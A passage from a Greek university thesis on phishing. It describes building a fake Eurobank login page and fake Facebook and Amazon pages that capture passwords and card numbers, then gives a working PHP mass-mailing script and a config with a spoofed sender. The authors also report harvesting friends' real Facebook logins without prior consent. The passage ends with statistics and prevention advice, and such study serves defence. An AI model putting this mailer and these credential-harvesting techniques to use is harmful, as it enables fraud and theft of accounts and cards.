ubDZyZFVYdVdscXVjN19sZE1SNVBPSmMzQkRJQ0RYVFZFQUYzZWdiQXNwY0ZWR3ZrdkdYd3I1Wk

lUVzBlNXRSbGFJcnhRc25MWmx6VEFLSGRyREZrN1JWc1dPOUZXcEl5WWlDZk1BNnhuQ21Nb2J0N

FFJeF83MDVPcFFZWWZZdXNIZHlaTS1uTzNrY0I3V0NUcFVrc085M1RXYTVlajV5b1BVVXJhWHU4

a29SbEdwQUZZTlNobmFMdmdLUjJfTnZKVXciXQ== 

 

4.3 Phishing σε Ιστοσελίδα της Eurobank E-banking 

Στο συγκεκριµένο πείραµα κατασκευάστηκε εκ νέου µια ιστοσελίδα φαινοµενικά ίδια µε 

αυτή της Eurobank. Στόχος του εν λόγω πειράµατος ήταν να διαπιστωθεί αν και κατά πόσο 

είναι δυνατόν να υποκλέψει κανείς δεδοµένα που σχετίζονται µε τραπεζικούς λογαριασµούς. 

Σε αντιστοιχία µε το πρώτο πείραµα και εδώ τροποποιήθηκε κατάλληλα ο HTML κώδικας 

της ιστοσελίδας µας, ώστε όταν κάποιος χρήστης πατάει τον κουµπί «Είσοδος» να 
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αποθηκεύονται στον server που φιλοξενεί την πλαστή ιστοσελίδα µας τα προσωπικά 

δεδοµένα του χρήστη.  

Σε αυτό το σηµείο αξίζει να αναφερθεί ότι αν και καταφέραµε να αποσπάσουµε τόσο το 

“username” όσο και το “password” του χρήστη, η ιστοσελίδα της τράπεζας αµέσως µόλις ο 

χρήστης πατήσει το κουµπί εισόδου, εµφανίζει προειδοποιητικό µήνυµα, το οποίο παρακινεί 

τον χρήστη να µην εισάγει τα δεδοµένα του σε οποιοδήποτε ιστότοπο, ο οποίος δεν είναι της 

Eurobank. Συγκεκριµένα, η τράπεζα ενηµερώνει ότι ο υπερσύνδεσµος που χρησιµοποιήθηκε 

δεν είναι έγκριτος. Συνεπώς, ακόµα κι αν αποσπαστούν τα δεδοµένα του χρήστη, έπειτα από 

το εν λόγω µήνυµα, πιθανότατα ο χρήστης, θα υποψιαστεί ότι το µάλλον έπεσε θύµα απάτης 

και θα σπεύσει να αλλάξει τους κωδικούς του. Έτσι, οι κωδικοί που υποκλέπτηκαν είναι 

πλέον άχρηστοι. Αναλυτικά, στις εικόνες που ακολουθούν φαίνονται η αυθεντική και η 

πλαστή ιστοσελίδα της Eurobank, οι οποίες είναι πανοµοιότυπες. 

 

Εικόνα 4.5: Αυθεντική ιστοσελίδα Eurobank 
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Εικόνα 4.6: Πλαστή ιστοσελίδα Eurobank 

 

Στην συνέχεια, εφόσον κάποιος χρήστης εισάγει τα στοιχεία πρόσβασης του στην ιστοσελίδα 

που σχεδιάστηκε, εµφανίζεται το µήνυµα της εικόνας που ακολουθεί, το οποίο αναλύθηκε 

παραπάνω. Κλείνοντας, είναι προφανές ότι το Phishing, στην περίπτωση που κάποιος 

προσποιείται ότι είναι µια τράπεζα, είναι µια πιο σύνθετη διαδικασία, η οποία κατά πάσα 

πιθανότητα θα αποδειχθεί ατελέσφορη. 

 

Εικόνα 4.7: Προειδοποιητικό µήνυµα της Eurobank εφόσον έχουµε επιχειρήσει να αποσπάσουµε προσωπικούς 

κωδικούς χρηστών 
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4.4 Phishing Ιστοσελίδων µέσω Ε-mails 

Στο συγκεκριµένο πείραµα, δηµιουργήθηκε ένα ολοκληρωµένο σενάριο Phishing. Αρχικά 

υλοποιήθηκε κατάλληλο πρόγραµµα, το οποίο στέλνει µαζικά e-mails σε πολλούς χρήστες, 

τις διευθύνσεις ηλεκτρονικού ταχυδροµείου των οποίων τις διαβάζει από κάποιο αρχείο. Στο 

σώµα του e-mail ενσωµατώνεται κατάλληλο µήνυµα, όπως για παράδειγµα το ότι έχει 

δηµιουργηθεί κάποιο σφάλµα στον λογαριασµό του χρήστη, το οποίο ωστόσο για να 

διορθωθεί απαιτεί την άµεση είσοδο του στο σύστηµα από κάποιον υπερσύνδεσµο, ο οποίος 

και αναφέρεται στο σώµα του e-mail. Ο ανυποψίαστος χρήστης ανακατευθύνεται από το link 

του e-mail που έλαβε σε κάποια άλλη ιστοσελίδα, από την οποία και αποσπώνται τα 

προσωπικά του δεδοµένα. 

Στην εν λόγω ενότητα υλοποιήθηκαν δυο διαφορετικά σενάρια, τα οποία και θα αναλυθούν 

στη συνέχεια. Στο πρώτο σενάριο, το οποίο είναι και πιο απλό, ο χρήστης λαµβάνει κάποιο 

µήνυµα ηλεκτρονικού ταχυδροµείο από το “Facebook”, στο οποίο αναφέρεται ότι για λόγους 

ασφαλείας είναι αναγκαίο να επιβεβαιώσει τα στοιχεία πρόσβασης του στον υπερσύνδεσµο 

που ακολουθεί. Στο δεύτερο σενάριο, ο χρήστης λαµβάνει ένα e-mail από την “Amazon”, στο 

οποίο παροτρύνεται να µπει στο σύστηµα της και να εισάγει τα στοιχεία χρήστη καθώς 

επίσης και τα στοιχεία της πιστωτικής του κάρτας µε δέλεαρ εκπτώσεις σε διάφορα προϊόντα. 

Φυσικά, στο συγκεκριµένο e-mail, υπάρχει κατάλληλος υπερσύνδεσµος ο οποίος 

ανακατευθύνει τους χρήστες σε µια σελίδα, η οποία µοιάζει αλλά δεν είναι της Amazon. 

Εποµένως, το πρώτο βήµα για την υλοποίηση και των δυο σεναρίων αποτελεί η δηµιουργία 

κατάλληλου προγράµµατος το οποίο θα αποστέλλει µαζικά µηνύµατα ηλεκτρονικού 

ταχυδροµείου σε χρήστες. Το συγκεκριµένο πρόγραµµα σε PHP παρατίθεται ακολούθως:  
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#!/usr/bin/env php 

<?php 

 

require(__DIR__."/vendor/autoload.php"); 

 

// Read the configuration file 

$email_parameters = parse_ini_file("email.ini", true); 

 

// Extract the email's metadata 

$from = $email_parameters["from"]; 

$subject = $email_parameters["subject"]; 

$content = file_get_contents($email_parameters["content"]); 

 

// Extract the mail server's information 

$mail_server_parameters = $email_parameters["mail_server"]; 

 

// Create the mailer 

$mailer = new Nette\Mail\SmtpMailer($mail_server_parameters); 

 

// Send the mails 

$emails_file = new SplFileObject($email_parameters["emails"]); 

$emails_file->setFlags( 

    SplFileObject::DROP_NEW_LINE | 

    SplFileObject::SKIP_EMPTY | 

    SplFileObject::READ_AHEAD 

); 

foreach ($emails_file as $to) { 

    $mailer->send( 

        (new Nette\Mail\Message()) 

            ->setFrom($from) 

            ->addTo($to) 

            ->setSubject($subject) 

            ->setHtmlBody($content) 

    ); 

 

Παρατηρώντας το παραπάνω “script”, παρατηρείται ότι για να µπορέσει να εκτελεστεί είναι 

αναγκαίο να υπάρχουν δυο αρχεία. Το πρώτο είναι το email.ini και χρειάζεται γιατί σε αυτό 

ορίζονται οι απαραίτητοι παράµετροι για την δηµιουργία και την αποστολή ενός µηνύµατος, 
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όπως για παράδειγµα το θέµα και το σώµα του µηνύµατος, ο αποστολέας κ.α. Ενδεικτικά, ένα 

τέτοιο αρχείο θα είχε την ακόλουθη µορφή: 

from=facebook@example.com 

subject="This is a subject" 

content=email.html 

emails=emails.txt 

 

[mail_server] 

host=mail.auth.gr 

username=gimmakos@xxxxx.gr 

password=paok123 

secure=tls 

 

Στο συγκεκριµένο αρχείο, αρχικά ορίζεται το θέµα του µηνύµατος καθώς επίσης και ποίος θα 

φαίνεται σαν αποστολέας. Στην συνέχεια, όσον αφορά το σώµα του µηνύµατος διαβάζεται 

από κατάλληλο html αρχείο. Η συγκεκριµένη επιλογή δεν έγινε τυχαία καθώς παρέχει 

µεγαλύτερη ευελιξία στην δηµιουργία ενός πιο ελκυστικού µηνύµατος όσον αφορά το 

σχεδιαστικό κοµµάτι, το οποίο πιθανότατα θα προκαλούσε λιγότερες υποψίες σε θύµα. 

Τέλος, είναι αναγκαίο να οριστεί και κάποιο αρχείο από το οποίο θα διαβάζονται τα 

µηνύµατα ηλεκτρονικού ταχυδροµείου, που θα σταλεί το µήνυµα. Στην συνέχεια, όσον 

αφορά το mail server, από τον οποίο στέλνονται τα µηνύµατα, αξίζει να αναφερθεί ότι δεν 

µπορεί να είναι οποιοσδήποτε. Για παράδειγµα, δεν θα ήταν δυνατόν να σταλεί τέτοιου 

είδους e-mail από το Gmail, το Hotmail ή το Yahoo. Ενδεικτικά να σηµειώθεί ότι ο mail 

server του Αριστοτελείου Πανεπιστηµίου Θεσσαλονίκης υποστηρίζει την αποστολή τέτοιου 

είδους µηνυµάτων εφόσον κάποιος είναι εξουσιοδοτηµένος χρήστης.  

Εποµένως στο πρώτο σενάριο διάφοροι ανυποψίαστοι χρήστες λαµβάνουν ένα e-mail από το 

Facebook, στο οποίο αναφέρεται ότι για λόγους ασφαλείας είναι αναγκαίο να εισάγουν τα 
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στοιχεία πρόσβασης τους στον σύνδεσµο που ακολουθεί, ο οποίος τους οδηγεί σε µια σελίδα 

η οποία φαίνεται στην εικόνα που ακολουθεί. Στην συγκεκριµένη σελίδα έχει τροποποιηθεί 

επιπλέον ο HTML κώδικας έτσι ώστε να εµφανίζει το µήνυµα: «Για λόγους ασφαλείας 

επιβεβαιώστε το e-mail και τον κώδικα πρόσβασης σας».  

Στη συνέχεια, εφόσον o χρήστης εισάγει τα στοιχεία του και πατήσει «Σύνδεση», 

ανακατευθύνεται στην αυθεντική σελίδα σύνδεσης του Facebook. Η συγκεκριµένη επιλογή, 

έγινε µε στόχο ο χρήστης να µην υποψιαστεί την παρανοµία. 

 

Εικόνα 4.8: Phising µέσω µηνυµάτων ηλεκτρονικού ταχυδροµείου, τα οποία υποτίθεται έχουν αποσταλεί από το 

Facebook 

 

Το δεύτερο σενάριο που υλοποιήθηκε, το οποίο είναι και το πιο σύνθετο, υποθέτει ότι 

ανυποψίαστοι χρήστες λαµβάνουν e-mail από την Αmazon, η οποία τους παροτρύνει να 

κάνουν “login” και να εισάγουν τον αριθµό της πιστωτικής τους κάρτας για να απολαύσουν 

εκπτώσεις σε διάφορα προϊόντα. Σε πρώτο βήµα o υπερσύνδεσµος που υπάρχει στο e-mail 

που τους στέλνεται οδηγεί σε µια ιστοσελίδα, η οποία φαίνεται στην παρακάτω εικόνα. 
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Εικόνα 4.9: Σελίδα επιβεβαίωσης λογαριασµού χρήστη στην Amazon 

 

Ας υποθέσουµε ότι κάποιος χρήστης δελεάζεται µε την προσφορά για εκπτώσεις και 

αποφασίζει να εισάγει το e-mail και τον κωδικό πρόσβασης του, όπως φαίνεται στην εικόνα 

που ακολουθεί. 

 

Εικόνα 4.10: Είσοδος χρήστη στο σύστηµα 

 

Είναι προφανές ότι µόλις πατήσει το κουµπί «Sign In», αποθηκεύονται απευθείας τόσο το e-

mail του όσο και ο κωδικός του, χρησιµοποιώντας το πρόγραµµα που αναλύσαµε σε 

προηγούµενη ενότητα. Συγχρόνως όµως, ανακατευθύνεται σε µια επιπλέον πλαστή σελίδα, η 
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οποία σχεδιάστηκε εξ ολοκλήρου για της ανάγκες του συγκεκριµένου σεναρίου, στην οποία 

πρέπει να εισάγει τον αριθµό της πιστωτικής του κάρτας. Εφόσον εισάγει τα απαιτούµενα 

στοιχεία της κάρτας του, ανακατευθύνεται στην αυθεντική σελίδα της Amazon για να 

συνεχίσει της αγορές του. 

Οµοίως µε το προηγούµενο, και στην περίπτωση των στοιχείων της πιστωτικής του κάρτας, 

χρησιµοποιήθηκε το πρόγραµµα που αναλύθηκε παραπάνω. Σε αυτό το σηµείο, αξίζει να 

σηµειωθεί ότι για τις ανάγκες τις πτυχιακής στείλαµε τα παραπάνω e-mails σε φιλικούς 

χρήστες, έτσι ώστε να διαπιστωθεί αν και κατά πόσο τα σενάρια που ορίστηκαν είναι 

αξιόπιστα. Τα αποτελέσµατα, παρουσιάζουν ιδιαίτερο ενδιαφέρον γιατί στην περίπτωση του 

πρώτου σεναρίου, σχεδόν όλοι εισήγαγαν τα στοιχεία του λογαριασµού τους στο Facebook. 

Φυσικά, µετά το πέρας των πειραµάτων, ενηµερώθηκαν όλοι για το τι συνέβη έτσι ώστε να 

αλλάξουν τους κωδικούς τους, τους οποίους είχαµε υποκλέψει µε άνοµα µέσα. 

Όσον αφορά το δεύτερο σενάριο, δεν στάλθηκε κατάλληλο e-mail, καθώς ήταν πιθανό 

κάποιος να έπεφτε στην παγίδα και να έδινε τα στοιχεία της πιστωτικής του κάρτα. Εν 

αντίθεσή, µελετήθηκε η συµπεριφορά θα είχαν στην υποθετική περίπτωση που λάµβαναν ένα 

σχετικό e-mail.  Στην πλειοψηφία τους, οι περισσότεροι υποστήριξαν ότι δεν θα έδιναν τα 

στοιχεία της πιστωτικής ή χρεωστικής τους κάρτας χωρίς να αγόραζαν άµεσα κάποιο προϊόν 

πάρα το δέλεαρ των εκπτώσεων. 
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Εικόνα 4.11: Εισαγωγή στοιχείων πιστωτικής ή χρεωστικής κάρτας 
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ΣΥΜΠΕΡΑΣΜΑΤΑ – ΜΕΛΛΟΝΤΙΚΗ ΕΡΕΥΝΑ  

Ολοκληρώνοντας την παρούσα εργασία, γίνονται πλέον κατανοητές και ξεκάθαρες οι 

διαδικτυακές απειλές µε τις οποίες έρχεται καθηµερινά αντιµέτωπος ο χρήστης του 

διαδικτύου. Η phishing  επίθεση και οι πολυάριθµες υποκατηγορίες της, φανερώνουν τους 

πολλαπλούς τρόπους που έχουν εφεύρει ορισµένοι επιτήδειοι, οι λεγόµενοι «phishers», για να 

επωφελούνται κυρίως οικονοµικά από τους «αφελείς» του διαδικτυακού τόπου. Η phishing 

επίθεση είναι ένα παγκόσµιο φαινόµενο κι αυτό αποδεικνύεται και από τα στατιστικά 

στοιχεία έρευνας του 2014.  Σύµφωνα µε αυτά, εκατοµµύρια µολυσµένα URLs σηµειώθηκαν 

το 2
ο
 µισό του 2014. Μέσα σε αυτά συγκαταλέγονται περίπου 124.000 µοναδικοί τύποι 

επιθέσεων παγκοσµίως, µε 95.300 να σχετίζονται µε τα domain names phishing, αύξηση σε 

σχέση µε το 1
ο
 µισό του ίδιου έτους (87.900) (77). 

Αξίζει να σηµειωθεί ότι όσο η τεχνολογία εξελίσσεται, τόσο και οι hackers βρίσκουν νέους 

τρόπους να υποκλέπτουν τα προσωπικά στοιχεία των χρηστών, δηµιουργώντας όλο και πιο 

σύνθετα κακόβουλα προγράµµατα. Αυτά είναι τόσο όµοια µε τα αυθεντικά, που είναι αρκετά 

δύσκολο ο χρήστης να µπορέσει να υποψιαστεί τις παράνοµες κινήσεις κάποιων επιτήδειων. 

Χαρακτηριστικό παράδειγµα αποτέλεσε αυτό που παρουσιάστηκε στα πλαίσια της πτυχιακής 

εργασίας και αφορούσε το Facebook.  Όλοι οι χρήστες από τους οποίους ζητήθηκε η 

συµπλήρωση των προσωπικών τους στοιχείων, δεν αντιλήφθηκαν ότι επρόκειτο για ένα 

κακόβουλο λογισµικό υποκλοπής κωδικών και ονοµάτων χρηστών. Το συγκεκριµένο 

συντριπτικό αποτέλεσµα, φανερώνει επίσης και την ευκολία υποκλοπής στοιχείων από 

συγκεκριµένα µέσα όπως αυτά των social media. Η δηµιουργία ενός σχετικά απλού 

κακόβουλου κώδικά, ήταν αρκετός για να πείσει και να εξαπατήσεις τους χρήστες.  

Σχετικά µε τις άλλες δύο εφαρµογές, τα αποτελέσµατα της έρευνας ήταν επίσης 

αναµενόµενα. Οι τραπεζικοί οργανισµοί φροντίζουν για την ασφαλή διαδικτυακή πλοήγηση 
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των χρηστών τους στις ιστοσελίδες τους αλλά και για το λεπτοµερή έλεγχο ταυτοποίησης των 

πελατών τους που επιθυµούν να πραγµατοποιούν τις οικονοµικές τους συναλλαγές µέσω 

δικτύου. Επίσης, η πλειοψηφία των χρηστών θα προέβαινε σε αποκάλυψη των προσωπικών 

τους στοιχείων δελεαζόµενοι από κάποια προσφορά ή µείωση τιµών λόγω ηλεκτρονικών 

αγορών. Ανάµεσα στα µέτρα προστασίας που αναφέρθηκαν στην εργασία, τονίζεται η 

πληθώρα απατών προερχόµενες από εικονικές ηλεκτρονικές αγορές και η εξαιρετικά 

προσεκτική επιλογή των ιστοσελίδων πώλησης προϊόντων και προσφοράς υπηρεσιών.  

Τα ευρήµατα περί phishing στα πλαίσια της εργασίας ανταποκρίνονται και στην 

πραγµατικότητα, εάν λάβουµε υπόψη µας τα αποτελέσµατα της Kaspersky (παροχή 

προστασίας διαδικτύου). Σύµφωνα µε αυτά, το 48,99% που δέχθηκαν phishing επίθεση ήταν 

διαδικτυακά portals, το 24,84% ήταν Μέσα Μαζικής Ενηµέρωσης, το 14,75% ήταν 

Κοινωνικοί ∆ικτυακοί Ιστότοποι, ενώ οι τράπεζες µόλις 0,3%, λόγω των αυστηρών ελέγχων 

ταυτοποίησης (στοιχεία για το 2
ο
 τρίµηνο του 2014). Στην ίδια έρευνα, σηµειώνεται ότι στα 

διαδικτυακά portals ανήκουν κυρίως το Yahoo, κατά 63,19%, η Google Inc, κατά 17,73%, τα 

Hotmail και Outlook κατά 7,60% και µέσω e-mails κατά 5,19% (78). Στα µέσα κοινωνικής 

δικτύωσης, phishing δέχτηκε µε αισθητή διαφορά το Facebook µε 55,91%. Το Twitter ήρθε 

4
ο
 στην κατάταξη µε 7,98%, ενώ ακολουθούν το WordPress µε 0,79%, το LinkedIn, µε 0,65% 

και µε το MySpace µε 0,33% (78).  

Όπως γίνεται κατανοητό οι οικονοµικές επιπτώσεις της phishing επίθεσης είναι µεγάλες είτε 

αφορούν µεµονωµένους χρήστες, είτε αφορούν µικροµεσαίες εταιρείες, είτε µεγάλους 

οργανισµούς και µεγαθήρια κάθε κλάδου. Τα κέρδη που αποκοµίζουν οι hackers σε κάθε 

περίπτωση είναι τεράστια και οι ζηµίες επίσης. Εκτός από τις οικονοµικές επιπτώσεις όµως, 

εξίσου σηµαντικές είναι και οι συνέπειες που έχουν οι οργανισµοί περί αξιοπιστίας τους, 

κύρους τους και ασφάλειας που παρέχουν στους πελάτες τους. Οι οργανισµοί πλήττονται σε 
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µεγάλο βαθµό και ως την εγκυρότητα και την προνοητικότητα τους ώστε να προστατέψουν 

αποτελεσµατικά τους χρήστες ή το πελατολόγιό τους. Για να πραγµατοποιηθεί αυτό, µεγάλα 

ποσά επενδύονται στην αγορά και αναβάθµιση κατάλληλων λογισµικών, τοίχων προστασίας 

και άλλων µέσων όπως χρήση VPN δικτύων, ιδιωτικών κλειδιών, τεχνικές κρυπτογράφησης.  

Συµπερασµατικά να σηµειωθεί ότι παρά τις «σκοτεινές» και τις πάµπολλες µορφές απάτης 

που κυριαρχούν στον διαδικτυακό τόπο, αυτό εξακολουθεί να είναι ένα εργαλείο και µέσο 

ενηµέρωσης, επικοινωνίας, ψυχαγωγίας κτλ που δεν θα εκλείψει. Από τα µέτρα που 

αναλύθηκαν και σε σχετικό κεφάλαιο, η πρόληψη φαίνεται να είναι καλύτερη δίοδος τόσο 

από την πλευρά των χρηστών όσο κι από την πλευρά των επιχειρήσεων. Η εγκατάσταση 

κατάλληλων antivirus ή antispyware προγραµµάτων, η ανωνυµία, οι χρήση περίπλοκων 

κωδικών και η τακτή ανανέωσή τους, η διαχείριση ηλεκτρονικών εργασιών από έγκυρες 

ιστοσελίδες, η διαγραφή και απόρριψη e-mails που µοιάζουν παράξενα είναι µερικές µόνο 

από τις µεθόδους που µπορούν να προστατευτούν οι χρήστες του διαδικτύου.  

Στην περίπτωση των εταιρειών, εκτός από τα µέτρα που προαναφέρθηκαν, ορισµένες 

εταιρείες έχουν προσανατολιστεί και σε επιπλέον µέτρα. Αυτά σχετίζονται µε την σχετική 

εκπαίδευση των εργαζοµένων τους ώστε να είναι σε θέση να αναγνωρίζουν (όσο είναι 

δυνατό) και να αποφεύγουν τις τρικλοποδιές του διαδικτύου. Σίγουρα η εκµάθηση και 

παρακολούθηση σχετικών σεµιναρίων απαιτεί ένα ανάλογο χρηµατικό ποσό, ωστόσο, ο κάθε 

επιχειρηµατίας χρειάζεται να το δει από τη σκοπιά της επένδυσης, αφού οι διαδικτυακές 

απάτες καραδοκούν, αναζητώντας ανενηµέρωτα εν δυνάµει θύµατα. Εποµένως, εκτός από 

τους αλγοριθµικούς ή µαθηµατικούς τρόπους διαφύλαξης, η έρευνα καλό θα ήταν να εστιάσει 

και σε πιο ανθρωπιστικούς, τονίζοντας τη σηµασία της πρόληψης, της γνώσης και εκµάθησης 

τεχνικών κατά της ηλεκτρονικής απάτης.  
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